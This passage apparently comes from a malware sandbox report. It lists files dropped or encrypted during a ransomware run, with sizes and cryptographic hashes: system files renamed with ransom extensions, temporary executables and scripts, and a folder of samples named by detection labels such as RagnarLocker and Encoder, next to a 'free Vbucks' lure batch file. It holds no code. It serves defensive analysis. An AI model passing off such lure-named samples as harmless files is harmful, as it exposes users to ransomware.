                                                45e7571e7d9bfd0ae30d1999183929663a09c390699d01c4bcd64a4f433023e9

                                                SHA512

                                                8017afeca127e12839545cc488f2dba86e5890546ff8e76e747377ff0477f6b1fe5af7b602bd9d152ebc2b8d13d91c8fe685badbb8af82ddb7eae00de3067502

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\it-IT\wab32res.dll.mui
                                                Filesize

                                                98KB

                                                MD5

                                                994e8cdd9847c027eb5b5d4999ddaba7

                                                SHA1

                                                f764b773860d8839ab31beea56e58df5bccf011f

                                                SHA256

                                                715a395a9166f339ad41814c145a636bc170dd6e878a1da7a5bbc3b40fb8794d

                                                SHA512

                                                6f3e4da29239ea4ba752eff904e41394193579ca93dc3d919d79be41dcfe69536e7bcef56b9820781e57f58dd69e2c369b7dc4a10a08621ba644a08b47f19321

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\ja-JP\wab32res.dll.mui
                                                Filesize

                                                70KB

                                                MD5

                                                b4ebfea623220a4d0a6ee2220072978a

                                                SHA1

                                                eff5f63ba73441a7104518056dad079a19065914

                                                SHA256

                                                7c707afc67d401c380fa2dbede5c08a8dfb2c6f555360f537722507d54bc0af0

                                                SHA512

                                                fad6a2b5dcdc7a271435d99108f60dd6ea5cf1291ba2f1b4c85263331e05fbd555038dd1b32001dfc3609de4c808f00a7e8d387e80a775da3b8f7303cb696efe

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\de-DE\msadcer.dll.mui
                                                Filesize

                                                12KB

                                                MD5

                                                afd21a1a1f470760895aa23cb511fe38

                                                SHA1

                                                7686b5c9a7e63fc0cebf538cb2951de3e984accf

                                                SHA256

                                                d4f2dddc1ece1f4d5139c082d06edb06c6b92f89a56563ec2a6e54e08b72b278

                                                SHA512

                                                1f306b93c8e439308d360c4ed4943c000cba8f6a9269921dd97c4915431497e683b3db71af13e210a19fd108b45afd85473172729c0eb1dcb15cefa71a045e78

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\de-DE\msdaprsr.dll.mui
                                                Filesize

                                                9KB

                                                MD5

                                                48488dfc33837222ea8674d5007618f2

                                                SHA1

                                                522b830a47d9cebd25161d20ae8c420c4e8ccac6

                                                SHA256

                                                14a9681c6e87f71a14879d8f4653bb04b8288b0c41c490e2f5249ea77c2f04b8

                                                SHA512

                                                2e14ecac2a911e5f1fd43fddcdce2df9cba967c8217077fd1bb79471e2478ee1b87387833c104ffcb6c6d7174eb7229b481b760be2ca6b8c3fd48bf8f5a3cdaa

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\en-US\msadcer.dll.mui
                                                Filesize

                                                10KB

                                                MD5

                                                855b3b3f057f83359f1b766765a375d4

                                                SHA1

                                                4c2fb33658bc2ba1855543d26eaa4dfdfa604435

                                                SHA256

                                                ce0698cb25babdb399393d2e4724281e5fcc19d0fcf252cfaaee41d462b2d17e

                                                SHA512

                                                334fc4f3c99f6e080426e8d22e33acb1f00990aa44e63104185d388867d60e8eeef8d5aca69f3e1cf24b77902108f4f6d7599e12260641abf7e7dd021ad16177

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\en-US\msdaprsr.dll.mui
                                                Filesize

                                                8KB

                                                MD5

                                                6f688e3a3067b55e8e7483996e3d2930

                                                SHA1

                                                a5103f7bed5ae2262e53a11d531072b83d493bf8

                                                SHA256

                                                5011c3f728683fa6d49c424b0f5223092e8f4c1acdfb00effb562a40fb6e00f3

                                                SHA512

                                                b0627195efa40b1b76f0be2727f9610ad203aa8d0f52e5ce460ffccba11058c1e9c78c04796658069b2d6acdd69b18206db6438820990591b4349a86cd6b9404

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\es-ES\msadcer.dll.mui
                                                Filesize

                                                12KB

                                                MD5

                                                cff706a9e448aa2dcc0047052b88fec2

                                                SHA1

                                                0b66bdf8c0022dcc975d144c0965bbb558d54b14

                                                SHA256

                                                a20db8087e187f33a176bc812eb8342b075763baef77854bc0e5d83b74aba5a5

                                                SHA512

                                                5abd75f1da59ee8ff2538f9d4a1ea990a4501920aa85b34c5c2108562824e244787018da5101dc4c2fe226c1fa09555516d271304c1fdd28da542821c3d20093

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\es-ES\msdaprsr.dll.mui
                                                Filesize

                                                9KB

                                                MD5

                                                d7b9a644bdcae7e370b661510a2ab4d0

                                                SHA1

                                                79379216bd1b8ae959a50994d457301c47bcbf2a

                                                SHA256

                                                e15a3467465839805c726b203e9e06be5c46bea44a2f4a151a855b4b965f77dc

                                                SHA512

                                                7cbc505490b049528d57c73037a18d3f4c4f544efa020744f679f43adf446601b1122eba7cd6383ecba246640655f04855a9d0cef075bbf97fdb0efecf39623c

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msadcer.dll.mui
                                                Filesize

                                                13KB

                                                MD5

                                                4a5a9ea58f6521c775a9a4f926ac8f42

                                                SHA1

                                                b95f1b7e96dd8f5f867bfb0b79a17b468b13f3b2

                                                SHA256

                                                4e0ddc32a37f112c3b8d561f21eb9dc6905f49ac4d5829527895573fda314afc

                                                SHA512

                                                3a32edd6efde20fc7d4505d78eb161b9555a3f7fe65b18e022af89c340839b1d338105ac33ac455fd6d9eb55a80b934360c0f41ccb8af417cf958d2d83608346

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msdaprsr.dll.mui
                                                Filesize

                                                9KB

                                                MD5

                                                63a053e43950ed695489757900b53c51

                                                SHA1

                                                ed95856a5cd5b9f6a491a671fe1bfea75a6315e2

                                                SHA256

                                                a4788a18b9f6ffdefb9398023f311187fe01405b036ff55e1877d5ad03ad09fb

                                                SHA512

                                                bbdc7c4a334335c3e7f46327142fd769bab5d1cd79ce1df9b5048edf2af55d2366c0a2f51b66cf163c5ef79a33ca476c72d5bfe21886089b712176aca5a6c76d

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\it-IT\msadcer.dll.mui
                                                Filesize

                                                12KB

                                                MD5

                                                59b418060f62340adbb833bb3de6262b

                                                SHA1

                                                45be724303d120cf4b87e0cec3cf02e83899e33d

                                                SHA256

                                                115f7a48719d319691d8df4efd212524504d11d0083c84263183c46fe13bbdda

                                                SHA512

                                                a565f45e660d85dc2a44934e3528a53150ee949c06a59b96dfb9f444127a9ee6e6653edfa0fafb4a41c7264e62c4c6e895fe688ec57ca4205b4e5b1693966f1c

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\it-IT\msdaprsr.dll.mui
                                                Filesize

                                                9KB

                                                MD5

                                                4cc95a0bc6e704c43879bd91a7de4cf0

                                                SHA1

                                                883337136b98538621963aec9033ec63b1665166

                                                SHA256

                                                71e1479d778476a9d38f89e4f2c2509d39d5632e3f49f14c999c1c0cd5b6b143

                                                SHA512

                                                c19fee7c1eb70f4830e648965cd5437b7a891d6dc01a492d02593ddffc5dd2a2ef8ff9c979eff6eb365ab584c38eb5cec4bd1e6ac2819e275ae1dab9cdc35964

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\ja-JP\msadcer.dll.mui
                                                Filesize

                                                7KB

                                                MD5

                                                135b7c259634407256dba4616e9c4b75

                                                SHA1

                                                2e42020e6226d98bfa9353d7013dd35069e59fd6

                                                SHA256

                                                ca5f03eec1e0545afe6aeedd16a46474a58082233826d09974e3a5a618df431b

                                                SHA512

                                                b092f3c6fa6611df7861fbe0e90fed137aa771c30e0ee8ab0c6637521d4d04f1bba14ef38420905dc93b1f3b4b2d379cbd1b318849ceb9095fcd6ce019a8baeb

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\msadc\ja-JP\msdaprsr.dll.mui
                                                Filesize

                                                6KB

                                                MD5

                                                b784cde0774b1e716c3072a0d943e96a

                                                SHA1

                                                e244c62535fb16c297a38da66316742a9b7ead6e

                                                SHA256

                                                8fe605ef389a4a5291ff205fc6e7727a01ce16ecf2d4b7e4bfc22b3f7b16d7f6

                                                SHA512

                                                d358fe5cd4831ffeb75d4b057218d9dd0d848d0472cc43e44e61ff4a94467095361c20fb00292b729442fdfbc39022a411d844d7813b2f2f84804a95e8ca506f

                                                Download Submit

                                              • C:\Program Files (x86)\Common Files\System\uk-UA\wab32res.dll.mui
                                                Filesize

                                                95KB

                                                MD5

                                                cd7d2b957701af3f55c92f3820e2b9f1

                                                SHA1

                                                75e29c0c0b0d4a42febee3866542c83ca7742852

                                                SHA256

                                                1fcc929756093f0f7300ba1c86597efcaaa59dec05d54f9fea842dd96d93d4b7

                                                SHA512

                                                608e559619640aeec041027e89aa96dec6fd27531ad7cea0c053613d1287ae31c2c8fe73a1a37beefccced2e0744f61f9ddd35a8dad0a4f96b245bc25d3f9b5a

                                                Download Submit

                                              • C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32.dll.id-74356489.[[email protected]].wallet
                                                Filesize

                                                2.7MB

                                                MD5

                                                a270bbf268b44f8363a3ee5375d02b88

                                                SHA1

                                                f68f8bf48f34e49a903e65d92a906366d7c08af9

                                                SHA256

                                                e9e432b6f3bc2a3e004b349a11150ed30214afced327b655bdb785845ec9ceb7

                                                SHA512

                                                1e756160ef6566a2bfe9cc63cfa2016f13ae69574fb1a8a3ea60b7b067cae14a8be921e0e9bd279445eb27433aae1fb45f39bcf08d4a2b467339e9cac57203ed

                                                Download Submit

                                              • C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.кристина
                                                Filesize

                                                2.9MB

                                                MD5

                                                744c3864705941fa6050a5e86cab334e

                                                SHA1

                                                38d08c3b5297ec3d11753656bfb2fdabc61b7743

                                                SHA256

                                                b85c1db766dd86d06525fd0dd05194b7b77b89a35a157a3fc609ec7d52365593

                                                SHA512

                                                a5ae389619bb934da6b4097fd38dcd994d6545f64f28ddde6e4f1d3fedeed112fffd76a5c42deadc7465bb4f5bc37e3e02ceadb4bfe381e74750350425d81584

                                                Download Submit

                                              • C:\Program Files\Common Files\microsoft shared\ClickToRun\integratedoffice.кристина
                                                Filesize

                                                4.8MB

                                                MD5

                                                c38e47961936cc1f7507c7000801bc7e

                                                SHA1

                                                cdc0783c6bf168196758eb02c7d3e59c2aca9b23

                                                SHA256

                                                87ad2a30fd50c1004d303149eb87b8ab4e7e2036a22566554ecc2e193dc1da9a

                                                SHA512

                                                f8f102a65631730e78c434bfbb2e6a5d4c817bb33333f422dd3097810182228fdf030db70ccd2030fea4d6cb04d97376e70f6664a60ef792fdef0943cb58f536

                                                Download Submit

                                              • C:\Program Files\Common Files\microsoft shared\ClickToRun\officec2rclient.кристина
                                                Filesize

                                                24.2MB

                                                MD5

                                                f07b338365a033270c4115e5d4ffa704

                                                SHA1

                                                a3855e0b36fd43d8c872e11680a067e93e79874a

                                                SHA256

                                                364bb6e1573b5878d92d3dadd4c6917a9a5233b1b91db7e7c07116e1b70f4e78

                                                SHA512

                                                baa1cbdd4f7d38406ffd6bc16b7c114e4dc79de0d2f3d3d76fd10491cf79c3e9373eaf7a9301e4c0f79c2e0e1d16f156548ea896f303ab00133490df36978410

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                74KB

                                                MD5

                                                bae2f873af4d7c6f6aa2e9023c3bbc5f

                                                SHA1

                                                c5c572fdf478898f4618dbe0500e80e5e6c49807

                                                SHA256

                                                5496745dcfbac080b9ba3b2d47245d60aa913cf64048a2bbb9f921a03629b55a

                                                SHA512

                                                6aad72699cdeb166bffb4dbe574ff2c6ee42375a0610801db0e9c1cc26fd1c2eae316403b526626f5c23332e14dd07fee5f6df3684c22abd9f4668dafeee59c4

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                18KB

                                                MD5

                                                e3aed0001a9e0a2cdef405038dd75f89

                                                SHA1

                                                c349d45450b0f85b30b2105207517c7957d2db82

                                                SHA256

                                                d1f034a0044abb00b74559caaca3fb4fc223ad57450b1fc13dae8885eaae838f

                                                SHA512

                                                df43bf7e71f54028c3fda4aff49b21ae55fcae08448804606740ac817dd05d5b633bfb7cb689ba6ac9a25d152e07c5fe2a48b9ff0d50cfe4c29dda797dbc2db5

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                70KB

                                                MD5

                                                d7768e5b0b77e5145c37e860dba70e93

                                                SHA1

                                                578b61f4e9916d8fb850591da7b04cc63cfa8de5

                                                SHA256

                                                f692da438d995a1c0d4050446dc570996f0741690bde582e9b307b24fb124e2c

                                                SHA512

                                                8e4a07873d9a89de5853f6cfc0ff9f81ea7372ae401c9e0b316006346fbd383fd640023d59ba7e1eca0bfa5b354fd478f137907fcdb584f052ee8ac8c7dc11e5

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                137KB

                                                MD5

                                                42e8d30882fe19a60578c052b97376d8

                                                SHA1

                                                324370af839b1d525860131635fd38ae3205e1da

                                                SHA256

                                                d645834d082555e3f0f47fea7138e2d3eb270ed338f20c25e85b76aa400b92a5

                                                SHA512

                                                f6430ab813c7a99ca02d874ab26ea001e90f860263a0e9724f079ae40bc5aab2485fa9e3a03c7cf9dc60ce69797ae26fe2bb31dd3c84154dc5f94c547fe54bde

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.46.11001.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                2KB

                                                MD5

                                                0d00694d6706606c290f88bc98c51ea1

                                                SHA1

                                                3d25207eed5e396ca8fd38759ec4cc7cd3500636

                                                SHA256

                                                4cf11531a48b2cfc46bbbf63d51b10a7e5e0ec66960416212fd6c5ac471a4d30

                                                SHA512

                                                696991c782c7291e9ecca5848ae20826891f3d1d91b0346b055fb804b1be4445f22406dff0703aee48b815bb995a2f2675a437aba89bb7d5786abb9c915dfaaa

                                                Download Submit

                                              • C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-940901362-3608833189-1915618603-1000-MergedResources-0.pri
                                                Filesize

                                                3KB

                                                MD5

                                                7b885a8a056cdfa2b9563ead5d83c364

                                                SHA1

                                                020ee3b580d316e911952c545b7db1c17ddd310a

                                                SHA256

                                                2a68e02659876a6b86a43f4f2225ed8ca489d411d70cc764781908c0fc555db9

                                                SHA512

                                                a11a327db2767f96a72dd8746040b3ca035c01f71c078f597fb010ed13ecbc9cbd4931935d4c8e918b568cc9551961789926e5f1f22c83f5bc75ab3d1da985d9

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                Filesize

                                                64KB

                                                MD5

                                                d2fb266b97caff2086bf0fa74eddb6b2

                                                SHA1

                                                2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                SHA256

                                                b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                SHA512

                                                c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                Filesize

                                                4B

                                                MD5

                                                f49655f856acb8884cc0ace29216f511

                                                SHA1

                                                cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                SHA256

                                                7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                SHA512

                                                599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                Filesize

                                                944B

                                                MD5

                                                6bd369f7c74a28194c991ed1404da30f

                                                SHA1

                                                0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                SHA256

                                                878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                SHA512

                                                8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\851a6346-8539-40b9-b694-d1d5343c092e\o.dll
                                                Filesize

                                                94KB

                                                MD5

                                                14ff402962ad21b78ae0b4c43cd1f194

                                                SHA1

                                                f8a510eb26666e875a5bdd1cadad40602763ad72

                                                SHA256

                                                fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

                                                SHA512

                                                daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\Decode.exe
                                                Filesize

                                                59KB

                                                MD5

                                                a7bc46e76db85d33fd3219d8ba4a185d

                                                SHA1

                                                a55f93af48a92d9e609152edd098df9372d36b93

                                                SHA256

                                                24ac0f78875081601a36e7e118b6cbf47ce76504241baf3dbe7fc98939844292

                                                SHA512

                                                e102e7fd7b5f879fe58eb2b01a9ec9f262853b236579277643ab9044505528e8042049b5aabe83193aa728196a2cac3cdda84e720513f981cb28ef9f02c14aaf

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\LTE.exe
                                                Filesize

                                                18KB

                                                MD5

                                                cfdd482f35c82355ed94e9b2f620c856

                                                SHA1

                                                3008d6e227615b638e1a9d5232eae21ac00a9e0a

                                                SHA256

                                                d2e6ae19c57ba2fec342463637471628dcdc2a8053cad001668bde01127b8fa8

                                                SHA512

                                                96f566ee21f866cdf22fe9eb5b09f59b4acce4584deac1df530e60534f9e38ef9c1d0674f2195574b4a3a63d95b724413bc932775631a22c627dfbbb1a16dd46

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vokdzrt1.vxf.ps1
                                                Filesize

                                                60B

                                                MD5

                                                d17fe0a3f47be24a6453e9ef58c94641

                                                SHA1

                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                SHA256

                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                SHA512

                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\~5016101092187991422.cmd
                                                Filesize

                                                427B

                                                MD5

                                                52c608bb95194671e76e4042ab805644

                                                SHA1

                                                bb13345d9353265ad2af176abd80092dfd5420b4

                                                SHA256

                                                bc32fdb9fd635f99ef760f64897cb3cafc26fd772eb20c2946834467cf23ad02

                                                SHA512

                                                20161ae54bdaa0e5f39f372d3258171fb608b42996dd7282644b41762647227d842056c696f260c5b64174309170c57d898327e50568fd2186a3103c737123b8

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\~8469085066512408022\xpsview.exe
                                                Filesize

                                                242KB

                                                MD5

                                                9ff494c23d5cd41b9ce4a03461a02b62

                                                SHA1

                                                f1fa417c289cf5e8e4f083f4b03afcd586d4e69e

                                                SHA256

                                                bdea572ce62d728978fbbcc9c9abd7e77ce00c435c2993e9c7379a2ffd18e9e1

                                                SHA512

                                                2fae08466bbe0aef4bf8f3647fc97c28c3c0ebb35f0da5567df936ae75bf7e6a2c9e4134496ac5287d44a968066c50569f94f2e7dc1b7dc6be3bdb37b28b34a7

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\~8469085066512408022\xpsview.exe.config
                                                Filesize

                                                117B

                                                MD5

                                                d0089718b62f6e9d91154acae007699c

                                                SHA1

                                                6b7168ae1fa2fa7cf268e36ba4678aed2b9dbb5d

                                                SHA256

                                                83233e66d0f47f016ac44626c179f9006bdb15c22586ee737278a281a8e0a503

                                                SHA512

                                                a498eb1505894ce30f8a518432b41c85275defccdb339fea6c0a5425fdd00583da16e3524a175292615929d5bc6ec9eba20b2c9e363a575bdb2763ac2a7cea6b

                                                Download Submit

                                              • C:\Users\Admin\AppData\Local\Temp\~9000274919311723648~\sg.tmp
                                                Filesize

                                                715KB

                                                MD5

                                                7c4718943bd3f66ebdb47ccca72c7b1e

                                                SHA1

                                                f9edfaa7adb8fa528b2e61b2b251f18da10a6969

                                                SHA256

                                                4cc32d00338fc7b206a7c052297acf9ac304ae7de9d61a2475a116959c1524fc

                                                SHA512

                                                e18c40d646fa4948f90f7471da55489df431f255041ebb6dcef86346f91078c9b27894e27216a4b2fe2a1c5e501c7953c77893cf696930123d28a322d49e1516

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\10000000 gratis Vbucks.bat
                                                Filesize

                                                2KB

                                                MD5

                                                9233605f7f21ccb545bd3b2e8b79c99c

                                                SHA1

                                                148e2bc7b52db89c247b2989579df624a87cfd1e

                                                SHA256

                                                d5483ac40f9aeba6625d4b6b858a6f252d4b74a99c6585f49875abe1d3fca6f8

                                                SHA512

                                                0ca38353ccc062b0e15850d3911b4d568a42083ccda322548f1b2c408e1d1441d0cd20682693e32bfcdf990015b022fcf3123ecc32f4c8d339ad4a6d17ba7974

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.MSIL.Blocker.gen-345665e1b2fc212d6edf888500a0266411baa07aeeb3516debb193c1b2bcebc9.exe
                                                Filesize

                                                20.4MB

                                                MD5

                                                2252e74b0ad384a8f25124834e8f483b

                                                SHA1

                                                219dbf1d4d0640a84eabd6d5b521d3847683ad12

                                                SHA256

                                                345665e1b2fc212d6edf888500a0266411baa07aeeb3516debb193c1b2bcebc9

                                                SHA512

                                                7aa9e94e552440d4ac2b9e84d10b0ad46d6246e918df2365975aecb801aae12f56712616da9df411da826801d13b098eade608f3ee2a6adcf8430efc77fb2c06

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Convagent.gen-b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b.exe
                                                Filesize

                                                3.9MB

                                                MD5

                                                2f3ba056b83d78267fd5736b078c2f7b

                                                SHA1

                                                8f5f15159c566a22ae41da5ea1a1f1f693a3ebc0

                                                SHA256

                                                b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b

                                                SHA512

                                                63e6051b45c3168e0260fc2a67e900600ca6ab44f484a30cdefa82e4f5649dd4be04fc0f4a4fbad60d0c5996f9e33a91741732cd50d6e82e7df41b55744115bb

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Encoder.gen-c0c059645c55b31914ef0c11da08ed89ef24e82b1ab76109f485ff142520a769.exe
                                                Filesize

                                                2.0MB

                                                MD5

                                                05716643a13be43de05ebfc4911530c5

                                                SHA1

                                                948347c2d8f50ec62d1c3e0abfc054b6f929158e

                                                SHA256

                                                c0c059645c55b31914ef0c11da08ed89ef24e82b1ab76109f485ff142520a769

                                                SHA512

                                                bca41687d87bff359b3d54add049a6945d5006fc01aeb684625efdacf8c9900b5aacf3d4f2e7612280aaaff384ee5fd78ab30955baf4d40d9df9b1572f2f2edf

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Encoder.vho-faa509bd03791d701880378dc716135b021aad120efa5b27fd70426465328774.exe
                                                Filesize

                                                266KB

                                                MD5

                                                1b3cc194588df17fd75fee581d1aa2eb

                                                SHA1

                                                3d27b2f7f9234f9e42ef1b38951b9eab5708d963

                                                SHA256

                                                faa509bd03791d701880378dc716135b021aad120efa5b27fd70426465328774

                                                SHA512

                                                885f662940e63aa57841214b256ea1cec6e62e2f1a33d660d055d4751fb03cb3a77ec1373d2b83670edee071aa69daf6c5f3234adfd47fb623080d74c5864dc8

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Foreign.vho-03fea23a6f4c2254570c1e4eba41479212c0624942887ab73851769988167b73.exe
                                                Filesize

                                                8.1MB

                                                MD5

                                                85f7ccf05f634790be4d3d31a7cb279d

                                                SHA1

                                                a6126318d6ac495aacbda898f7991374034d4a75

                                                SHA256

                                                03fea23a6f4c2254570c1e4eba41479212c0624942887ab73851769988167b73

                                                SHA512

                                                a0dfea717d04d3b6e30f2fca556db6ddf3aad094e4d89a56ba9d81444626644448c22ee1484a256d545ca99358a4a1e20437dc3d88eb076c7c39077cd95acc7e

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Crusis.bdw-68c10d8335d8515cc952b60337da2d61f4d20f6e4309764d2a08c728657fca27.exe
                                                Filesize

                                                339KB

                                                MD5

                                                abda009f44d21cc481db045018d7d044

                                                SHA1

                                                df6c14d7f25f3b764a600f2f7f9ea36c89b395d2

                                                SHA256

                                                68c10d8335d8515cc952b60337da2d61f4d20f6e4309764d2a08c728657fca27

                                                SHA512

                                                df6526af2bd7e200779d30aebc3fa79a68aafae478eb5c33fcaaf51efeafb8f73f5084ecf0f3586f496e3f57a30d86b60ede88d09d11b918dcb894cda0ff883c

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Encoder.kpb-fd6504460b645386650f36ffd7f8dd8b36285060b09c66f591e1aad0a33fda07.exe
                                                Filesize

                                                607KB

                                                MD5

                                                83ad46b5270bb042d0d5c83ce604c063

                                                SHA1

                                                a926496b8d3ee7f4ebb2ac20c37efa064bfe4822

                                                SHA256

                                                fd6504460b645386650f36ffd7f8dd8b36285060b09c66f591e1aad0a33fda07

                                                SHA512

                                                4d7e56396b2e1cfe36133fb7c31f929f29286cddf9e1985a05808efb628cffd4b0037251e4d27ee1be57005507df342481e9b8291da254145c82e1729288aba4

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Foreign.ollk-9775428322493f047e74e099fa564e9a3f6778f34bb8f73196f967fab24dfc97.exe
                                                Filesize

                                                7.9MB

                                                MD5

                                                81cf804ae0e08454cd2c87b6e2b57e88

                                                SHA1

                                                c543011a1a0a97b66a5bb31c4daf9d5c21e9a599

                                                SHA256

                                                9775428322493f047e74e099fa564e9a3f6778f34bb8f73196f967fab24dfc97

                                                SHA512

                                                ce62881cb657ce95d9611d4cfc55a3e74d1843c778455a08a0d4cbc8181dbf670a2508f13eb9aa5a55a086a752a810417647c5b2f2d67ae9e4c37bf6f4ddbf9e

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.PornoAsset.dkzm-02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521.exe
                                                Filesize

                                                1.3MB

                                                MD5

                                                56eaee23b578c54d7a3014ea1d909d83

                                                SHA1

                                                998ff98d683be3eafa9a9989b3c8cddb691db390

                                                SHA256

                                                02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521

                                                SHA512

                                                0f5f2782c7a1499bf5f51cbe3b95c06aa9ec6b48e61d0fdfb4964f44b4bb9d167a96d9ae188ba1aa1b3df3c71a3739d6d000191dfe6312c01676682159963be2

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.RagnarLocker.f-9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151.exe
                                                Filesize

                                                5.1MB

                                                MD5

                                                1874b6394a6060c34dae60305f48a0b3

                                                SHA1

                                                6f559fd57304197443b71d8bf553cce3c9de8d53

                                                SHA256

                                                9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151

                                                SHA512

                                                eff6e29ca32d96388832bdffb5356b8a72b91b4672958ff3e2c9995ce0f45ce4d0858d9b4666e3870ae862fff62a84c67f35cf301f793bef7daf6b7f4a64200b

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\UDS-Trojan-Ransom.Win32.Encoder-5961f5aec36f7d47519f20162c05851b29cac3efc065ce63284a0f028b760dda.exe
                                                Filesize

                                                213KB

                                                MD5

                                                5234390168b89eb51510694713e5deda

                                                SHA1

                                                3b14540ebbac0c7df32f3e2051eca34907eea648

                                                SHA256

                                                5961f5aec36f7d47519f20162c05851b29cac3efc065ce63284a0f028b760dda

                                                SHA512

                                                122335c294d8d3e6874a2c35e3d5c9a0aa495cce2cecfc1c64c0fa6bd988fe59c8c8f004c668df76eeec25b67013fc70cc955cff64c4796e3c6a8db38546e993

                                                Download Submit

                                              • C:\Users\Admin\Desktop\00399\payload.etl
                                                Filesize

                                                131KB

                                                MD5

                                                ac253bee5688464ece5929892c07085d

                                                SHA1

                                                a3bd944d7e09cc624b7f87fe75b5f2bf4aa2aa45

                                                SHA256

